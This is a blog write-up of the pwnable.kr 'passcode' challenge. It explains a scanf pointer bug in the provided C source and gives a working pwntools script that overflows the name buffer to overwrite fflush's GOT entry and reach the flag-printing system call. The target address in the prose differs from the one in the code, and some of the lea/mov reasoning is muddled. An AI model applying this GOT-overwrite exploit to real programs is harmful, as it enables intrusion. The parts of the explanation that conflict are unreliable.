DEV Community

chris
chris

Posted on • Updated on

Pwnable.kr - Passcode: Write-up

Finding the problem

First let's look at the code that we have.

int main()
{
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}
Enter fullscreen mode Exit fullscreen mode

The main() function will call two other functions: welcome() and login().

void welcome()
{
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
Enter fullscreen mode Exit fullscreen mode

welcome() will get your name in a 100 bytes buffer and reprint it.

void login()
{
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if (passcode1 == 338150 && passcode2 == 13371337)
    {
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    else
    {
        printf("Login Failed!\n");
        exit(0);
    }
}
Enter fullscreen mode Exit fullscreen mode

login() will ask you to enter two passcodes and if those are good, will display the flag.

When testing the application, we get a segmentation fault when test is called.

Simple test and a segfault

So there seems to be something wrong with the line:

if (passcode1 == 338150 && passcode2 == 13371337)
Enter fullscreen mode Exit fullscreen mode

When opening the code in my Neovim, I also have a warning on the scanf lines for login() that the format specifies int * but the argument is int. This means that instead of calling the address and getting the value from it, the code passes passcode1 and passcode2 as addresses. Which could be the reason of our segmentation fault.

Debugging the binary

Let's open our debugger:

rz -d passcode
Enter fullscreen mode Exit fullscreen mode

Let's look at login():

Assembly for the login function

We can see that the passcode1 and passcode2 are stored int32 variables. But the lines cmp dword [var_10h], 0x528e6 and cmp dword [var_ch], 0xcc07c9 will compare the addresses and not the value.

Now let's look at welcome():

Assembly for the welcome function

It is possible to see that on how the values are stored. In welcome(), the name you entered is stored in var_70h which is then called with lea.

In login(), no signs of lea but the variables are directly called with mov. So what's the difference? lea stands for "load effective address" while mov will only move an address to a register. This corroborates our theory that the variables are not seen as variables with a pointer but as addresses which leads us to the bug. Indeed, the code tries to load the address passcode1 and passcode2 which obviously do not exist.

Exploit

How could we have access to the memory to run malicious payload? My first idea would be to put the payload when we are prompted with the name. But this variable is not called in login() which prevents us to get to that section. However, there is the fflush() command in login(). fflush() is a imported function, that means that it is loaded when the binary is started. This means that maybe we could hijack the code here (See this) and overwrite with our own payload. It would also work as fflush() has a jmp instruction.

So something like:

  • Getting at the end of the buffer
  • Setting the address of fflush to get the jmp (0x804a004) and getting the control or EIP.
  • jmp to the system call printing the flag (0x080485ea)

I spent some time tricking the formats around until it worked. I am not sure why the second address must be in numerical and not hex, but eh... It worked. Also, it's important to have the second reception call as recvall() and not recvline() and the output we want is later on in the process. I spent days reviewing my exploit code and forgetting about that part.

So here is the local exploit code:

from pwn import *

context.update(arch="i386", os="linux")
e = ELF("./passcode")

name = b"A" * 96
name += p32(0x804a004)
name += str.encode(str(0x080485d7))

p = e.process(level="error")
# header
print(p.recvline())
p.sendline(name)
print(p.recvall())
Enter fullscreen mode Exit fullscreen mode

If you look online there are other exploitation solutions, notably one as a oneliner. But it only works with Python2 for some reason. I couldn't understand why. If you know about it, let me know in the comments!

Top comments (0)